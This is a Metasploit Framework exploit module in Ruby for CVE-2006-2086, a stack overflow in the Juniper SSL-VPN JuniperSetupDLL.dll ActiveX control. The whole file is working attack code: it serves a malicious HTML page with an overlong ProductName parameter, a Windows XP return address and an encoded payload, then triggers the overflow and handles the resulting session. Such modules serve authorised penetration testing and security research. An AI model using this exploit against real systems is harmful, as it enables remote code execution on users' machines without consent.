92 lines
2.4 KiB
Ruby
92 lines
2.4 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in the JuniperSetupDLL.dll
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library which is called by the JuniperSetup.ocx ActiveX control,
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as part of the Juniper SSL-VPN (IVE) appliance. By specifying an
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overly long string to the ProductName object parameter, the stack
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is overwritten.
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},
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'License' => MSF_LICENSE,
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'Author' => 'patrick',
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '25001' ],
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[ 'BID', '17712' ],
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[ 'CVE', '2006-2086' ],
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[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-04/0743.html' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x0a\x0d\x20<>()\"\\\';@\#\%\`",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP Pro SP3 English', { 'Ret' => 0x77ae7f99 } ],# crypt32.dll jmp esp
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[ 'Debugging', { 'Ret' => 0x44434241 } ],
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],
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'DisclosureDate' => 'Apr 26 2006',
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'DefaultTarget' => 0))
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize
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vname = rand_text_alpha(rand(100) + 1)
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# Build the exploit buffer
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sploit = rand_text_alpha(2200)
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sploit[220, 4] = [target['Ret']].pack('V')
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sploit[240, payload.encoded.length] = payload.encoded
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# Build out the message
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content = %Q|
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<html>
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<object classid="CLSID:E5F5D008-DD2C-4D32-977D-1A0ADF03058B" id="#{vname}">
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<PARAM NAME="ProductName" VALUE="#{sploit}">
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</object>
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<script language="javascript">
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#{vname}.startSession();
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</script>
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</html>
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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